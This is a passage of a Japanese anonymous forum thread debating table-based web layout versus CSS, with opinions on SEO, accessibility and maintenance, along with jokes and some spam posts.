- 378 ：
- そこそこ有名企業のサイトで、テーブルレイアウト（失笑）ってどれくらいあるんだろうね？
- 379 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
ttp://www.tagindex.com/statistics/q001/index.html
- 380 ：
- >>378
プロはテーブルでレイアウトなんかしないだろ。
- 381 ：
- テーブルで枠組してCSSに変換できるソフトありますか？
- 382 ：
- >>376
>>380
プロのおれは、
テーブルもCSSも使いこなした上でテーブルも使用
予算ってものがあるからね。
時間も暇もたっぷりあって、費用対効果のない素人さんはオールCSSでもOK。
- 383 ：
- 予算があっても当たり前にフルCSSで組むけどなぁ・・・
やり方は人それぞれだろうけど、テーブルは微修正しづらいので
レイアウトがテーブルなんて俺は論外。
- 384 ：
- プロでもコスト意識の低い従業員は、頑なにCSSという場合が多いです。
ふつうの表ならtableタグ使えってことです。
- 385 ：
- >>384
>ふつうの表ならtableタグ使えってことです。
当たり前だろ、表のためのタグなんだから。
スレタイを読んでみろ。
- 386 ：
- >>384
フルCSSって何でもCSSで組むって思ってる素人さん？
表は基本テーブルだろ。デザインによっては定義リスト使ってCSSで組むけど。
- 387 ：
- >>386
デザインによってHTMLを変えちゃう素人さん乙
- 388 ：
- >>387
どんなデザインでも同じテンプレで組めるすーぱーはかーさんですか？
バカ過ぎてあきれるわｗ
- 389 ：
- テーブルとかCSSとかで騒いでるWEB業界の底辺ども乙！
- 390 ：
- 乙って書いたら煽りになってるとでも思っているのかな。
いや、煽るなって訳じゃなくて、もうちょっとなんか言いようがあるだろう。
煽るにしても能力は必要だろうけど、>>389はちょっと酷い。
- 391 ：
- >>389はWEB業界のちょうてんさんなんだから逆らっちゃダメ！
- 392 ：
- いや、表は表だろう。
定義リストは定義リスト。
- 393 ：
- 作業員どもに業務連絡、
ハックするならテーブル使え。
- 394 ：
- いつの時代の話ですか。
- 395 ：
- ハック（笑）
- 396 ：
- >>386
表をテーブル使わないのは本末転倒に気が付いていない病気の人。
ほら、例の信者とか・・俺の言いたい事わかるべ？
もう何でもいいから一元的にテーブル＝悪にしたいCSS覚えた初心者つーかｗ
出来る人は結局適材適所だよ。
- 397 ：
- >>379みたいなのをかたくなに貼り続けている奴がいるが、誰かも書いていたとおり、
2003年じゃ時代が違いすぎる。
あの頃って、誰でも簡単にホームページを作れるようになったせいで、
マークアップなんかまるきり犠牲にしてでも画面上での見た目を最優先する
ようになった、いわばHTML暗黒時代だったじゃないか。
テーブルレイアウトは、まさにその象徴、代表格だ。
確かに手軽だからサイト作りには貢献したが、時代のあだ花だったんだよ。
そして今はというと、端末側が、パソコンもあれば携帯機器もある、ブラウザも
多機能、高性能、テキストのみ、読み上げと多彩になっている、という有様だから、
見た目で華を競うなんて、通用しないんだよな。
あの時代でも、「せめてトップページはどんなブラウザでも問題なく見られる
ようにしよう」と言われていたが、それも検索エンジンでコンテンツに直接乗り入れる
ようになって、結局意味なし。
ハイテクによって、結局一回りしてHTMLが本来目指す姿に原点回帰している現状は、
皮肉といえば皮肉。
まあ、なぜCSS（やHTML4）というものが苦労して考え出されたのかを考えれば、
テーブルでレイアウトを組むというのは、時代遅れとしか言いようがない。
今まで大量生産されたサイトをリニューアルするのは大変だろうから仕方ないが、
これから作るのなら、テーブルレイアウトという選択は考えられない。
- 398 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
ttp://www.tagindex.com/statistics/q001/index.html
- 399 ：
- >>398
よう、2003年からやってきた古代人
今日も元気だなｗ
- 400 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
ttp://www.tagindex.com/statistics/q001/index.html
- 401 ：
- >>399
周辺諸国を刺激しないように注意してください。
- 402 ：
- >>399
しね
- 403 ：
- a
- 404 ：
- テーブルレイアウトの議論ってまだやってたのか。
テーブルレイアウトの議論を読んでいると
テーブルオンリー派
CSSオンリー派
両刀派
がいて、テーブルオンリーと両刀派は、好きにすればいいんじゃね？ってスタンス。
そしてCSSオンリー派は、頑なにテーブルは使うなと言うスタンス。
テーブル派はCSS派にCSS使うなとは言っていない。
CSS派も、自分が使いたければCSS使って、他人がどうやって制作していようが放って
おけばいいと思うよ。
自分はテーブル派で、この前久しぶりに古いMac+IE、Mac+FFと言う組み合わせで
ウェブを見てたら、有名サイト、大手サイトも崩れまくりで驚いたが、自作のテーブル
レイアウトの自社ページ、全てのブラウザで意図通りに表示されたから驚いたわ。
CSS覚えるのまんどくさいだけだろｗって言われたらまあそうなんだが。まあ、好きな
方使えばいいんじゃないかな。わしゃテーブルを使い続けるが、他人にこうしろ、ああしろ
とは言わん。それに、本来の使用目的ではない使い方で使うなんてのは、ハッカー
文化の中ではむしろ歓迎されるべきことなんだが、不思議とこのテーブルレイアウトだけは
ハッカーやコーディング上級者も否定派に回ることが多いのは不思議だなーと。
- 405 ：
- CSSオンリー
- 406 ：
- かつてマシンパワーが非力でメモリも少なかった時代はJavaが重いから使えないと言われていた。
- 407 ：
- >>404
今となっては、昔ながらのテーブルレイアウト & その時代のブラウザ使ってる老兵以外には、
あんまメリットもなければ、自己満足も沸かないからじゃない? 初心者にも、上級者にも。
＞ハッカーやコーディング(ry
マニアなコミュニティー内で神扱いされるテクというにはチープすぎるし。むしろ、それぞれの
要素の意味とかを考えずに積み木を組み合わせるみたいに、その場限りの見た目を作るトコは、
初心者とか児童向きっぽい印象が。
昔に作られたブラウザが、そういう「仕方なく何とかレイアウトっぽく仕上げた」ページを
崩れず表示するのは当然っちゃ当然かと思う。ブラウザのシェアなどの問題含めて、
それ以外の選択肢が皆無に近かった時代のソフトだし。
- 408 ：
- >>407
CSSだと簡単、CSSが正式なやり方ってのはわかるんだが、CSS覚えるの
まんどくさいんだけど、けっこう簡単なものなのかな？
テーブルレイアウト、最初に考えたやつすごいって思うよ、素直に。
まさかこんな使い方があるとはおもわなんだ。
段組み用のタグを作ってくれればすべて解決するんだけど、できれば
HTMLだけで記述したいってのもあるじゃない。
でも、CSS自体は便利だと思うよ。フォントの指定とかそういうのは
らくちんだしね。レイアウトもらくちんと言う意見もあるけど、そうでも
ないという意見もあり。
- 409 ：
- >>408
HTMLって、「これ見出し」「これ引用文」とか、文章の「意味」を表現してるだけで、
「これ太字大きめの文字で」とか「これ斜体で」とかの「見た目」を指定してるわけじゃない。
たまたま、あるブラウザで「太く大きい文字」「斜体」として見えてるだけで。
そんなHTMLに、レイアウトの機能や新たなタグを求めること自体、ちょっとズレてるとオモ。
(たしかネスケやMSが好き勝手やらかした時期もあったし、一概にユーザーのせいとも思えないけど)
CSSとして、そういう「見た目」の指定が分離ができる今の時代だと尚更。
HTMLだけでレイアウトしたつもりのページは、実はレイアウトでもなんでもなくて、
上でもあがってたけど、いまとなっては趣味のAAと同レベルじゃない?
受け手がIE一択に近かった時代と違って、携帯含めて受け手が百花繚乱な昨今、
その見た目が、受け手に確実に届く保証なんてどこにもないし。
クライアントの要望とか事情が許さない場合や、個人の趣向なら仕方ないけど、
テーブルで苦労してそれっぽく組んできた人が、「CSS難しい」「テーブルで簡単に
出来てたレイアウトができない」って悩むなら、もともとHTMLにそんな機能無いんだから、
「逆に考えるんだ。レイアウトなんてしなくってもいい、と考え(ry」
みたいに割り切ってもいいんじゃないかなあ。どんな環境でもガチガチに見た目固めた
ページを見せたいのなら、PDFやJpegといった手もあるし。
- 410 ：
- HTMLじゃ話にならんから、新しいHTMLに変わる言語を作ればいいんじゃないかな。
実質、HTMLの上位互換で、テーブルなども再定義されてるという。
現状、TABLEでうまく動いているんだから、それでいいし、本来の使用用途に
外れるからと言うのなら、定義から再構築すれば良いと思う。
WML(Web Markup Language)みたいに新しい名前つける。
そしたら、なんの問題もなくなる。
- 411 ：
- それを実装したブラウザが存在しなければ意味が無い訳で。
- 412 ：
- ああ、下位互換にすればいい
- 413 ：
- >>409
> 「逆に考えるんだ。レイアウトなんてしなくってもいい、と考え(ry」
これ重要だよな。
結局、紙面のデザインとは別物っていう認識がまだまだ（特に日本では）薄すぎるな。
- 414 ：
- >>410
＞定義から再構築
そういったものを目指して、実現してきたのがCSSでは・・
「HTMLじゃ話にならん」とかHTMLに八つ当たりする前に、HTMLへの認識や使い方を
根本から見直した方がいいような。
CSSなどの範疇でもっと充実・洗練させていってほしい、っていうことなら分かるけど、生まれから
筋違いなHTMLを、せっかく存在するCSSそっちのけで、今さらわざわざ手間暇かけて継ぎ接ぎで
拡張する利点も魅力も皆無に近いと思う。
＞現状、TABLEでうまく動いている
ってのも、「(あくまで現時点の自分の環境で) TABLEでうまく動いている」ように見えてるだけの徒花だ、
くらいに解釈した方が、刹那的な「レイアウトっぽいもの」の呪縛から解き放たれて気楽になれるかも。
- 415 ：
- この際、全部画像にしてもいいんじゃね？
高速通信の時代だし、文字を全部画像にしても、映像配信に比べたら微々たる転送量。
- 416 ：
- CSS神曰く「TABLEタグはレイアウトのためのタグじゃないのでレイアウト目的で使用してはならぬ」
計算機神曰く「コンピュータは計算機だから、計算以外の用途に使用してはならぬ」
- 417 ：
- ブール代数は数学の学問の一分野であって、計算機を作るための学問ではない。
だから、プロセッサなる製品を作ってはならぬ
さらにはコンピュータを用いて、通信したり、音声をやりとりしたり、エロゲで遊んだり、mixiやGREE、ニコ動、ようつべ
などをしてはならん。そもそもコンピュータはcomputeする装置であり、おまえら引きこもりヒートがエロゲするために
開発されたわけじゃない。同じ理由で、TABLEタグは使ってはならぬ。
- 418 ：
- >>416
プログラムなんて突き詰めてけば計算でしょ？
そういう意味じゃ
> 計算機神曰く「コンピュータは計算機だから、計算以外の用途に使用してはならぬ」
は例外なく守られてるんじゃね？
テーブルの目的と一緒に書く意味がワカンネ。
- 419 ：
- テーブルタグもつきつめていけば、事実上レイアウト用のタグだ。
- 420 ：
- >>416
神とか仮想敵を脳内設定したりすんのはオモロイからいいけどw
ただ、わざわざ "レイアウト" を戦場にして "呪われた子TABLEとCSS神の戦い" を
描くんだとしたら、CSS神にとってはともかく、TABLEにとってはすごく
不毛で悲惨な神話になりそうな気が・・・ ・
- 421 ：
- 最終的にはTABLEが友情パワーでCSS神を倒すんだけどね・・・・・・・・・・その前に打ち切り
- 422 ：
- >>421
FONT「俺もいるぜ」
TABLE「FONT！」
CENTER「お前だけに、いいカッコさせるかよ」
TABLE「CENTER・・・」
STRIKE「黒歴史は、おまえだけじゃないんだぜ 」
S「コーホー」
TABLEはこのメンツとは本来畑違いだと思うけど、こんな感じだろか＞友情パワー
- 423 ：
- >>422
marqueeにblinkもいるぜ
- 424 ：
- >>423
そいつらはスチールセイントレベル
- 425 ：
- marqueeとblinkは強そうだな
- 426 ：
- http://chat.mimora.com/common/chat.mpl?roomnum=794442
第三次チャット大戦開催決定！！！！！！！！！！！！！！！！！
ここで２０１０年３月２８日日曜日午後９時開催！！！！！！！
当日になったらチャットが入れるようになりますｗ
そしてチャットのＵＲＬを張っているのでそこへいってください
２ちゃんねら～ＶＳ荒らし軍です
入室者が０人になったとこで終了です！！！
口論し
この長い歴史に終止符を打とうじゃないか！
参加まっとる
参加者を増やすためにこの文バラまいてね
ま、２ちゃんねるの糞ザコ共は
おしっこチビって逃げるかな？？？
２ちゃんねるはカスの集まりだからな
文句あるならこの大戦に参加して勝てば？
糞２ちゃんねら～共ｗ
- 427 ：
- テーブル使うよりソースがデカく細かくなるなら
レイアウトでもテーブル使った方が遥かに楽な件
- 428 ：
- 春休み君たちは>>315から読み直しなさいね
- 429 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
ttp://www.tagindex.com/statistics/q001/index.html
- 430 ：
- 今どきテーブルレイアウトなんかやってる男の人って・・・
- 431 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
ttp://www.tagindex.com/statistics/q001/index.html
- 432 ：
- 俺の環境じゃ、「テーブルレイアウト」でぐぐると、宴会場のサイトが先頭に出てくるぞ。
テーブルレイアウトは悪くない、というなら、なんで先頭に出てこないんだ。
おかしいだろ。
- 433 ：
- ∧＿∧
( ﾟωﾟ ) ﾚｲｱｳﾄは任せろー
ﾃｰﾌﾞﾙ・ﾃｰﾌﾞﾙＣ□ l丶l丶
/ ( ) ﾃｰﾌﾞﾙはやめて！
（ノ￣と、 ｉ
しーJ
- 434 ：
- キング・オブ・テーブル
http://mediazone.tcp-net.ad.jp/MISO/index.html
- 435 ：
- テーブル以外って何があるのよ。
ＤＩＶのこと？テーブルでもＤＩＶつかってるわよ
- 436 ：
- >テーブル以外って何があるのよ。
>ＤＩＶのこと？テーブルでもＤＩＶつかってるわよ
テーブル派ってやっぱすげええええええええええええええええええええええええｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
- 437 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
ttp://www.tagindex.com/statistics/q001/index.html
- 438 ：
- 今日もテーブル使ってる。テーブルっていいやつだよな。
レイアウト史上最強のお手軽さ
seo対策にも適してると思う。
- 439 ：
- age
- 440 ：
- あついなー冬にならないかなー
- 441 ：
- CSS使ってデザインのへぼイサイトもあるし
その逆もしかり
結局大半のユーザーはどっちでもいいと考えてると思う
わざわざソースコード開いたりして判定しようとするのは
ＨＰデザイナーぐらいだ
- 442 ：
- >>441
グーグルボットやヤフースパイダーってのがあってだな・・・
他にもテンプレートなんてシステムがあってだな、テーブルだらけのコードじゃうんぬんかんぬん。
まあユーザが直接的には気にしてないことは誰でも知ってるよ。
- 443 ：
- tes
- 444 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
ttp://www.tagindex.com/statistics/q001/index.html
- 445 ：
- テーブルとＣＳＳを比較する考え方がおかしいと思う。
ＨＴＭＬだけでやるか、ＨＴＭＬだけで実現できない事をＣＳＳさらにはＪａｖａｓｃｒｉｐｔも使うかという考え方をするのがわかりやすいと思う。
そもそもＣＳＳの目的はテーブルの云々ではないし。
ＨＴＭＬでは文書の構成要素の意味や役割を持たせ、その構成要素を具体的にどう表示させるかの役割をＣＳＳに持たせようという考えから生まれたもの。
ＨＴＭＬだけでは、不可能な多くの表現が可能になり、ＨＴＭＬがシンプルになり、容量が減り、メンテナンスが楽になる。
だからＨＴＭＬだけでやっても別にいいだろって状況は当然発生しうる。
テーブルでレイアウト作成すると問題と指摘されてる事は、解決手法があると思う。
例えば音声読み上げ等のアクセシビリティの問題は、音声ファイルをつければいい。
テーブル枠でページが重くなるのは、ブロードバンド環境ではどうでもいい状況になっているという考え方もあるだろうし。
さらに、ＣＳＳによる手法はブラウザによる違いが顕著で手法もわかりにくくうまくいかずに使う人が多いという欠点もあるだろうし。
- 446 ：
- 外部cssだとローカル保存した時にフォルダが付くのがちょっとやだ
- 447 ：
- 画像を使うとローカル保存した時にフォルダが付くのがちょっとやだ
- 448 ：
- ところでcss3の-moz-とか-webkit-とか頭に付く要素は正式に勧告されたらちゃんと統一されるんだろうね？
触ってて結構楽しいけどあれらが統一されないと面倒だぞあれ
- 449 ：
- 今はジャバが流行でこれから本買ってきてジャバを使えるようになりたい。
- 450 ：
- >>449
？
- 451 ：
- 会社紹介サイト、自社サイトはCSSで組む。
しかし、ネットショップはテーブルで組む。
ネットショップで表示崩れしたり、古いブラウザで見れないと、売り上げに影響する。
俺の感覚では、テーブル使う事もプロとしては必要な事です。絶対CSS派はアマチュアだと思う
- 452 ：
- ↑CSSで崩れを起こさずに作る技術がないだけですって正直に言えよ。
- 453 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
ttp://www.tagindex.com/statistics/q001/index.html
- 454 ：
- >453
無駄な改行や類語の重畳を止めて
総括。テーブルレイアウトは悪くない。以上。
ttp(ry
の2行で済ませたほうが良かないか？
- 455 ：
- 俺はSEO的にテーブルが不利なんで、CSSで組んでるけど。
検索エンジンに一番先に読ませたいとこ上に書いて、
レイアウトは下に下げてる。
そんな目的が無けりゃ別にテーブルでもいいと思う。
- 456 ：
- テーブル嫌いな蔵って
往々にしてレイアウトじゃなくて表のテーブル表記まで止めろと言ってくる
テーブルは時代遅れ、禁止タグ、直に消滅する！とか、もうね・・・
- 457 ：
- 表のためのタグと表組みのためのタグが一緒になってるのが問題なだけのような。
表のためのタグなら中に入ってるのが表の画像でもいいだろうし
表組みのためのタグならそれで分数を書いてもいいよね。
- 458 ：
- 3か月誰も釣れなかった>>449は今どんな気持ち？
- 459 ：
- 例えばおまえらが年末調整の用紙をHTMLで表現するとしたらどうするの？
- 460 ：
- >>457
MathML使え
- 461 ：
- テーブル愛好家のみなさんは、スマートフォン対応進んでますか？
- 462 ：
- スマートフォンが素人に対応してくれるのを待つからへーっちゃら
- 463 ：
- まったく次に触った人の激怒
ひさしぶりに自分で触ったときの激怒
- 464 ：
- ま、皆が書き込んでる「ここ」もテーブルだけどな。
- 465 ：
- どっちでもいいんだよ、結果出せれば
- 466 ：
- テーブル使わないと全部のブラウザに対応できない。
崩したくない部分をテーブルで囲うとはかどる
- 467 ：
- 全部のブラウザと言っちゃうと、読み上げブラウザにも
対応しなきゃならんって事になるぞ
- 468 ：
- という訳で>>315に戻る
以下ループ
- 469 ：
- テーブル厨共くたばれ
メインコンテンツが全体の1割な広告サイトのくせして
tableやらtdやらだけでサイト作りやがるから無駄スペース消しが無茶苦茶メンドイじゃねーか
別にテーブルを全否定してるわけじゃないがそれしか使わないとか馬鹿としか思えない
- 470 ：
- 音声読み上げブラウザなんて実際個人のくそサイトには99%来ないよね。
- 471 ：
- 構造化考えるのが面倒なら、全文RSS吐けるブログとかでいいじゃない
- 472 ：
-
結局のとこテーブル＋CSSが最強なんだね
- 473 ：
- スマホサイトのメニューとか見るとそれなりの有名どころがテーブル
にしてたりするな。
- 474 ：
- テーブルはSEO的にダメだろ。
階層が深くなるほど、中のテキストコンテンツのランクが下がるから。
テーブルで組んで最低レベルランクだったサイトをCSSで組み直したら一気に上がったよ。
今の検索エンジンは、テーブルレイアウトをメチャクチャ低く評価してるよ。
- 475 ：
- 要するにテーブル内は副次的なコンテンツと見なされるのか。
でも、コンテンツ自体が表だったらテーブル使うのが正当なやり方だと思うよ。無理にブロック要素で組んだり、dl使って組んでカラムが足りなくなって泣いたり。
- 476 ：
- スタイルシートってブラウザ側でオフにできるんだったっけ？
できなきゃテーブルと大差ないんじゃないか。
- 477 ：
- は？
- 478 ：
- フルCSSより、テーブルレイアウト＋基本要素だけCSSとかの方がSEO的には最強っぽい。
ハイブリッドCSSっていうやつ？気づいたやつはネ申かも
- 479 ：
- なぜそう思うの？
- 480 ：
- >>478
勝手にハイブリってろｗｗｗ
- 481 ：
- クリスチャンにアダムとイヴ以降の人類はみんな近親相姦なのか？って質問すると
ムキーーー！ってなっちゃうような人達だよCSS信者って。
- 482 ：
- どうでもいい
- 483 ：
- ディーン「どうでもいい」
- 484 ：
- >>481
違うよ。
テーブルレイアウトと読み上げブラウザの相性の悪さ、
ひいてはテーブルレイアウトのいろんな意味での風通しの悪さに
気づいてしまった人たちだよ。
- 485 ：
- 最終総結論。テーブルレイアウトは悪くない。完結。THE END.
- 486 ：
- レイアウトデザインちょい直しの案件で
ソース観てみたらtableレイアウトだった時のがっかり感と言ったらない。
- 487 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
- 488 ：
- 今時テーブルレイアウトをありがたがって伏し拝んでるような奴は、
うまい商売から外される。
- 489 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
- 490 ：
- >>489は、テーブルでレイアウトしつつ、肩で風を切って歩いているんだろうな。
後ろで女の子たちが指さして笑ってるよ、気付いてないの？
- 491 ：
- ネタにマジレス乙
- 492 ：
- ねぎらっていただきまして、どうも。
おかげで元気が出たので、これからも容赦せずいきますね。
- 493 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
- 494 ：
- 創価R
創価R
創価R
創価R
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創価R
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創価R
創価R
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- 495 ：
- <table>は
要素を枠の 中央どまんなかに持っていく性質があるし、
具が枠をはみ出して、tableの枠の下にあふれ出る性質がある。
それに対して
<div class="">で 囲ってやれば、
要素が枠の中央に行くことはないし、
枠の外にはみ出してしまうこともない。
- 496 ：
- テーブルは編集しやすい
- 497 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
- 498 ：
- レイアウトをテーブルでやりましょうなんて書いてある
解説書なんか全滅してるだろ
テーブルレイアウトなんかに未来はないのさ
- 499 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
- 500 ：
- テーブルレイアウトはテーブルタグを悪用している
- 501 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
- 502 ：
- テーブルは編集しづらい
- 503 ：
-
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
- 504 ：
- php・テーブルとCSSでレイアウトしてるけど
結局これが一番効率いい気がする
フルCSSは趣味じゃないのう
- 505 ：
- セル内で高さ方向のセンタリングが出来るのってテーブルだけ？
後は自動的にセルが均等配置されて、どんなブラでも決して崩れないのが良い。
- 506 ：
- 昔テーブルレイアウトしてた人に聞きたい。
今そういうサイトのメンテしてるんだけど、テーブルの入れ子が複雑で、
どういう規則で入れ子にしてたのか全然解からない。
全部書き換えてよければ楽なんだけど、その権限はない。
自分には、無造作に思いつくままテーブルごとコピペしてっただけに見えるんだけど、
当時なりに理由があってそういう構造になっているのかもしれないので、
テーブルレイアウトに作法があるならそれが学べるサイトなど教えて下さい。
- 507 ：
- 発想的には<div><div></div></div>と同じだと思うよ。
ただテーブルの入れ子でそれやると膨らんじゃうから4pxづつサイズずらすと丁度良くなる
例えば大外枠が600pxだったらその内側は596px、さらにその内側は592pxって感じで
- 508 ：
- >>507
レスありがとう。元のデザインは幅指定も適当だった。内側の方が大きかったり…
テーブルレイアウトというよりただの素人仕事だったようだ。
せめてTABLEを整理してCSSで調整した。2度と関わりたくない。
- 509 ：
- 取り組みやすくレイアウトくずれないから優れた手法
- 510 ：
- ホームページで友達が稼げるようになった情報とか
⇒ http://asaswq3wq.sblo.jp/article/181819223.html
興味がある人だけ見てください。
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- 511 ：2018/05/01
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